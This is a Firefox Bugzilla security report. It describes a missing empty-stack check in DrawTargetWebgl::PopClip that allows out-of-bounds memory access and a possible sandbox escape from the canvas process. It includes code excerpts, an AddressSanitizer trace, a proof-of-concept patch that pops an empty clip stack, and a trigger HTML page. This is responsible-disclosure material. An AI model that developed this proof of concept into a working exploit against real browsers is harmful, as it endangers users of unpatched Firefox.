Closed Bug 1990169 Opened 9 months ago Closed 9 months ago

OOBR/W due to invalid pointer free in canvas 2d (Sandbox escape)

Categories

(Core :: Graphics: Canvas2D, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 1989945

People

(Reporter: oskarlindberg348, Unassigned)

Details

(5 keywords, Whiteboard: [client-bounty-form])

Writeup follows

Flags: sec-bounty?

Background

This vulnerability is in the canvas commands mechanism for more background please see bug 1984825.

The relevant operation is the ability to push and pop clips from the draw target stack.

Vulnerability

We can use the PushClip event to push path onto the clip stack:

inline bool RecordedPushClip::PlayEvent(Translator* aTranslator) const {
  DrawTarget* dt = aTranslator->GetCurrentDrawTarget();
  if (!dt) {
    return false;
  }

  Path* path = aTranslator->LookupPath(mPath);
  if (!path) {
    return false;
  }

  dt->PushClip(path);
  return true;
}

Actual pushing onto the stack depends on the draw target implemantation,
In the case of the webgl drawtarget, besides the skia clipstack, theres another internal vector which holds the stack mClipStack:

void DrawTargetWebgl::PushClip(const Path* aPath) {
  if (aPath && aPath->GetBackendType() == BackendType::SKIA) {
    // Detect if the path is really just a rect to simplify caching.
    if (Maybe<Rect> rect = aPath->AsRect()) {
      PushClipRect(*rect);
      return;
    }
  }

  mClipChanged = true;
  mRefreshClipState = true;
  mSkia->PushClip(aPath);

  mClipStack.push_back({GetTransform(), Rect(), aPath});
}

defined as:

class DrawTargetWebgl : public DrawTarget, public SupportsWeakPtr {
...
  struct ClipStack {
    Matrix mTransform;
    Rect mRect;
    RefPtr<const Path> mPath;

    bool operator==(const ClipStack& aOther) const;
  };

  std::vector<ClipStack> mClipStack;
  
... 
}

complementary to the push, we can also pop from the stack:

void DrawTargetWebgl::PopClip() {
  mClipChanged = true;
  mRefreshClipState = true;
  mSkia->PopClip();

  mClipStack.pop_back();
}

However, there is not validation the stack is not empty.
popping a empty stack calls the desctructor on a out of bounds object,
which will dec-ref the pointer pointer by ClipStack.mPath.
which can later be used to UAF another object.

Implications

As in prior bugs in the canvas actor, this is a browser vulnerability in linux and can be delegated to the browser on windows.

This is cross-platform and firefox-latest

Asan report

=================================================================
==58944==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5040007752c8 at pc 0x7f7b39fa4d89 bp 0x7f7a6b383950 sp 0x7f7a6b383948
READ of size 8 at 0x5040007752c8 thread T66
    #0 0x7f7b39fa4d88 in RefPtr<mozilla::gfx::Path const>::~RefPtr() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:79:9
    #1 0x7f7b39fa4d88 in mozilla::gfx::DrawTargetWebgl::ClipStack::~ClipStack() /home/user/Downloads/firefox/dom/canvas/DrawTargetWebgl.h:503:10
    #2 0x7f7b39fa4d88 in void __gnu_cxx::new_allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>::destroy<mozilla::gfx::DrawTargetWebgl::ClipStack>(mozilla::gfx::DrawTargetWebgl::ClipStack*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/ext/new_allocator.h:162:10
    #3 0x7f7b39fa4d88 in void std::allocator_traits<std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::destroy<mozilla::gfx::DrawTargetWebgl::ClipStack>(std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>&, mozilla::gfx::DrawTargetWebgl::ClipStack*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/alloc_traits.h:531:8
    #4 0x7f7b39fa4d88 in std::vector<mozilla::gfx::DrawTargetWebgl::ClipStack, std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::pop_back() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:1229:2
    #5 0x7f7b39fa4d88 in mozilla::gfx::DrawTargetWebgl::PopClip() /home/user/Downloads/firefox/dom/canvas/DrawTargetWebgl.cpp:1986:14
    #6 0x7f7b3572a01e in mozilla::gfx::RecordedPopClip::PlayEvent(mozilla::gfx::Translator*) const /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:3029:7
    #7 0x7f7b35d6cd01 in mozilla::layers::CanvasTranslator::TranslateRecording()::$_1::operator()(mozilla::gfx::RecordedEvent*) const /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:719:33
    #8 0x7f7b35d6cd01 in bool std::__invoke_impl<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>(std::__invoke_other, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/invoke.h:60:14
    #9 0x7f7b35d6cd01 in std::enable_if<is_invocable_r_v<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>, bool>::type std::__invoke_r<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>(mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/invoke.h:113:9
    #10 0x7f7b35d6cd01 in std::_Function_handler<bool (mozilla::gfx::RecordedEvent*), mozilla::layers::CanvasTranslator::TranslateRecording()::$_1>::_M_invoke(std::_Any_data const&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/std_function.h:291:9
    #11 0x7f7b35732233 in std::function<bool (mozilla::gfx::RecordedEvent*)>::operator()(mozilla::gfx::RecordedEvent*) const /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/std_function.h:622:14
    #12 0x7f7b35732233 in bool mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>(mozilla::gfx::MemReader&, mozilla::gfx::RecordedEvent::EventType, std::function<bool (mozilla::gfx::RecordedEvent*)> const&) /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:4714:5
    #13 0x7f7b35d19554 in mozilla::layers::CanvasTranslator::TranslateRecording() /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:703:20
    #14 0x7f7b35d1bbba in mozilla::layers::CanvasTranslator::SetDataSurfaceBuffer(mozilla::ipc::shared_memory::Handle<(mozilla::ipc::shared_memory::Type)0>&&) /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:354:10
    #15 0x7f7b35d1d3bf in mozilla::layers::CanvasTranslator::HandleCanvasTranslatorEvents() /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:830:13
...

0x5040007752c8 is located 8 bytes before 48-byte region [0x5040007752d0,0x504000775300)
allocated by thread T66 here:
    #0 0x5853d939272f in malloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:68:3
    #1 0x5853d93e3a6d in moz_xmalloc /home/user/Downloads/firefox/memory/mozalloc/mozalloc.cpp:52:15
    #2 0x7f7b39fd8b35 in operator new(unsigned long) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/cxxalloc.h:33:10
    #3 0x7f7b39fd8b35 in __gnu_cxx::new_allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>::allocate(unsigned long, void const*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/ext/new_allocator.h:121:27
    #4 0x7f7b39fd8b35 in std::allocator_traits<std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::allocate(std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>&, unsigned long) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/alloc_traits.h:460:20
    #5 0x7f7b39fd8b35 in std::_Vector_base<mozilla::gfx::DrawTargetWebgl::ClipStack, std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::_M_allocate(unsigned long) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:346:20
    #6 0x7f7b39fd8b35 in void std::vector<mozilla::gfx::DrawTargetWebgl::ClipStack, std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::_M_realloc_insert<mozilla::gfx::DrawTargetWebgl::ClipStack>(__gnu_cxx::__normal_iterator<mozilla::gfx::DrawTargetWebgl::ClipStack*, std::vector<mozilla::gfx::DrawTargetWebgl::ClipStack, std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>>, mozilla::gfx::DrawTargetWebgl::ClipStack&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/vector.tcc:440:33
    #7 0x7f7b39fa4821 in mozilla::gfx::DrawTargetWebgl::ClipStack& std::vector<mozilla::gfx::DrawTargetWebgl::ClipStack, std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::emplace_back<mozilla::gfx::DrawTargetWebgl::ClipStack>(mozilla::gfx::DrawTargetWebgl::ClipStack&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/vector.tcc:121:4
    #8 0x7f7b39fa4821 in std::vector<mozilla::gfx::DrawTargetWebgl::ClipStack, std::allocator<mozilla::gfx::DrawTargetWebgl::ClipStack>>::push_back(mozilla::gfx::DrawTargetWebgl::ClipStack&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_vector.h:1204:9
    #9 0x7f7b39fa4821 in mozilla::gfx::DrawTargetWebgl::PushClipRect(mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&) /home/user/Downloads/firefox/dom/canvas/DrawTargetWebgl.cpp:1967:14
    #10 0x7f7b35729fa5 in mozilla::gfx::RecordedPushClipRect::PlayEvent(mozilla::gfx::Translator*) const /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:3002:7
    #11 0x7f7b35d6cd01 in mozilla::layers::CanvasTranslator::TranslateRecording()::$_1::operator()(mozilla::gfx::RecordedEvent*) const /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:719:33
    #12 0x7f7b35d6cd01 in bool std::__invoke_impl<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>(std::__invoke_other, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/invoke.h:60:14
    #13 0x7f7b35d6cd01 in std::enable_if<is_invocable_r_v<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>, bool>::type std::__invoke_r<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>(mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/invoke.h:113:9
    #14 0x7f7b35d6cd01 in std::_Function_handler<bool (mozilla::gfx::RecordedEvent*), mozilla::layers::CanvasTranslator::TranslateRecording()::$_1>::_M_invoke(std::_Any_data const&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/std_function.h:291:9
    #15 0x7f7b3573384f in std::function<bool (mozilla::gfx::RecordedEvent*)>::operator()(mozilla::gfx::RecordedEvent*) const /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/std_function.h:622:14
    #16 0x7f7b3573384f in bool mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>(mozilla::gfx::MemReader&, mozilla::gfx::RecordedEvent::EventType, std::function<bool (mozilla::gfx::RecordedEvent*)> const&) /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:4714:5
    #17 0x7f7b35d19554 in mozilla::layers::CanvasTranslator::TranslateRecording() /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:703:20

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:79:9 in RefPtr<mozilla::gfx::Path const>::~RefPtr()

Explanation

we can see pop_back calls the destructor of ~RefPtr which yields a read, since the current refcount needs to be read before decreasing it, a write will follow.

Reproduction

  1. Apply the patch
diff --git a/dom/canvas/OffscreenCanvasDisplayHelper.cpp b/dom/canvas/OffscreenCanvasDisplayHelper.cpp
index 298c8ea2cc57..c9a5a48efbf1 100644
--- a/dom/canvas/OffscreenCanvasDisplayHelper.cpp
+++ b/dom/canvas/OffscreenCanvasDisplayHelper.cpp
@@ -14,9 +14,16 @@
 #include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/CanvasManagerChild.h"
 #include "mozilla/gfx/DataSurfaceHelpers.h"
+#include "mozilla/gfx/DrawTargetRecording.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/RecordedEvent.h"
+#include "mozilla/gfx/Rect.h"
 #include "mozilla/gfx/Swizzle.h"
+#include "mozilla/gfx/Types.h"
+#include "mozilla/layers/CanvasChild.h"
 #include "mozilla/layers/ImageBridgeChild.h"
 #include "mozilla/layers/PersistentBufferProvider.h"
+#include "mozilla/layers/RecordedCanvasEventImpl.h"
 #include "mozilla/layers/TextureClientSharedSurface.h"
 #include "mozilla/layers/TextureWrapperImage.h"
 #include "nsICanvasRenderingContextInternal.h"
@@ -208,6 +215,32 @@ bool OffscreenCanvasDisplayHelper::CommitFrameToCompositor(
     }
   });
 
+  auto cm = gfx::CanvasManagerChild::Get();
+  auto cc = cm->GetCanvasChild();
+  if (cc) {
+    cc->EnsureRecorder(gfx::IntSize(100, 100), gfx::SurfaceFormat::A8,
+                       layers::TextureType::Unknown,
+                       layers::TextureType::Unknown);
+
+    auto next_owner_id = layers::RemoteTextureOwnerId::GetNext();
+
+    auto width = 0x80;
+
+    auto webgl_dt_1 = cc->CreateDrawTarget(
+        next_owner_id, gfx::IntSize(width, width), gfx::SurfaceFormat::A8);
+
+    // Now initialise the vector
+    auto dt_ptr = webgl_dt_1.take();
+    dt_ptr->PushClipRect(gfx::Rect(0, 0, 0x10, 0x10));
+
+
+    // Now pop the rect twice.
+    dt_ptr->PopClip();
+    dt_ptr->PopClip();
+
+  }
+  cc.forget();
+
   MutexAutoLock lock(mMutex);
 
   gfx::SurfaceFormat format = gfx::SurfaceFormat::B8G8R8A8;
diff --git a/gfx/layers/ipc/CanvasChild.cpp b/gfx/layers/ipc/CanvasChild.cpp
index 6c00a266f388..9c7ede57426a 100644
--- a/gfx/layers/ipc/CanvasChild.cpp
+++ b/gfx/layers/ipc/CanvasChild.cpp
@@ -5,14 +5,18 @@
  * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
 
 #include "CanvasChild.h"
+#include <cstring>
 
 #include "MainThreadUtils.h"
+#include "mozilla/Unused.h"
 #include "mozilla/dom/WorkerPrivate.h"
 #include "mozilla/dom/WorkerRef.h"
 #include "mozilla/dom/WorkerRunnable.h"
+#include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/CanvasManagerChild.h"
 #include "mozilla/gfx/CanvasShutdownManager.h"
 #include "mozilla/gfx/DrawTargetRecording.h"
+#include "mozilla/gfx/Types.h"
 #include "mozilla/gfx/gfxVars.h"
 #include "mozilla/gfx/Tools.h"
 #include "mozilla/gfx/Rect.h"
@@ -521,7 +525,11 @@ already_AddRefed<gfx::DrawTargetRecording> CanvasChild::CreateDrawTarget(
       mRecorder, aTextureOwnerId, dummyDt, aSize);
   dt->SetOptimizeTransform(true);
 
-  mTextureInfo.insert({aTextureOwnerId, {}});
+  mRecorder->SetDrawTarget(dt); // Oskar - added this.
+
+  if (mTextureInfo.find(aTextureOwnerId) == mTextureInfo.end()) {
+    mTextureInfo.insert({aTextureOwnerId, {}});
+  }
 
   return dt.forget();
 }
diff --git a/gfx/thebes/gfxPlatform.cpp b/gfx/thebes/gfxPlatform.cpp
index 0a56b8c79a44..b16629e15677 100644
--- a/gfx/thebes/gfxPlatform.cpp
+++ b/gfx/thebes/gfxPlatform.cpp
@@ -2500,7 +2500,7 @@ void gfxPlatform::InitAcceleration() {
                             "FEATURE_REMOTE_CANVAS_NOT_WINDOWS"_ns);
 #endif
 
-    gfxVars::SetRemoteCanvasEnabled(feature.IsEnabled());
+    gfxVars::SetRemoteCanvasEnabled(true);
   }
 }
 
@@ -3437,7 +3437,7 @@ static void AcceleratedCanvas2DPrefChangeCallback(const char*, void*) {
                          "FEATURE_FAILURE_DISABLED_BY_REMOTE_CANVAS"_ns);
   }
 
-  gfxVars::SetUseAcceleratedCanvas2D(feature.IsEnabled());
+  gfxVars::SetUseAcceleratedCanvas2D(true);
 }
 
 void gfxPlatform::InitAcceleratedCanvas2DConfig() {

  1. Host the following index.html to trigger the patch:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OffscreenCanvas Rectangle</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }

        h1 {
            color: #333;
            margin-bottom: 20px;
        }

        canvas {
            border: 2px solid #333;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .status {
            margin-top: 20px;
            font-size: 1.1em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>OffscreenCanvas Example</h1>
    <canvas id="main-canvas" width="400" height="300"></canvas>
    <div class="status"></div>

    <script>
        // Get the canvas from the main HTML document.
        const canvas = document.getElementById('main-canvas');
        const statusDiv = document.querySelector('.status');

        // Check if OffscreenCanvas is supported by the browser.
        if ('transferControlToOffscreen' in canvas) {
            statusDiv.textContent = 'Transferring canvas control to web worker...';

            // Transfer the canvas control to an OffscreenCanvas.
            const offscreen = canvas.transferControlToOffscreen();

            // Create a web worker from a Blob containing the worker's code.
            // This allows us to keep all the code in a single HTML file.
            const workerCode = `
                self.onmessage = function(event) {
                    // Receive the OffscreenCanvas object from the main thread.
                    const offscreenCanvas = event.data.canvas;
                    
                    // Get the 2D rendering context for the offscreen canvas.
                    const ctx = offscreenCanvas.getContext('2d');
                    
                    // All drawing operations happen here, completely off the main thread.
                    ctx.fillStyle = '#4CAF50'; // Green color
                    ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
                    
                    // Send a message back to the main thread to confirm completion.
                    self.postMessage('Drawing complete!');
                };
            `;
            const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
            const worker = new Worker(URL.createObjectURL(workerBlob));

            // Send the OffscreenCanvas to the worker.
            // The canvas is "transferred" to the worker's memory space,
            // which means it is no longer usable on the main thread.
            worker.postMessage({ canvas: offscreen }, [offscreen]);

            // Listen for a message from the worker to update the status.
            worker.onmessage = function(event) {
                statusDiv.textContent = 'Worker finished: ' + event.data;
            };

        } else {
            statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
        }
    </script>
</body>
</html>

Group: firefox-core-security → core-security
Component: Security → Graphics: Canvas2D
Product: Firefox → Core
Group: core-security → gfx-core-security

Thanks for the report. This has previously been internally reported as bug 1989945.

Status: NEW → RESOLVED
Closed: 9 months ago
Duplicate of bug: 1989945
Resolution: --- → DUPLICATE

Because this bounty submission was filed within our collision window we are awarding a split bounty between this bug and bug 1989945. We are awarding an additional $1000 for the quality of the report and reproducible testcase.

Flags: sec-bounty? → sec-bounty+
Group: gfx-core-security
You need to log in before you can comment on or make changes to this bug.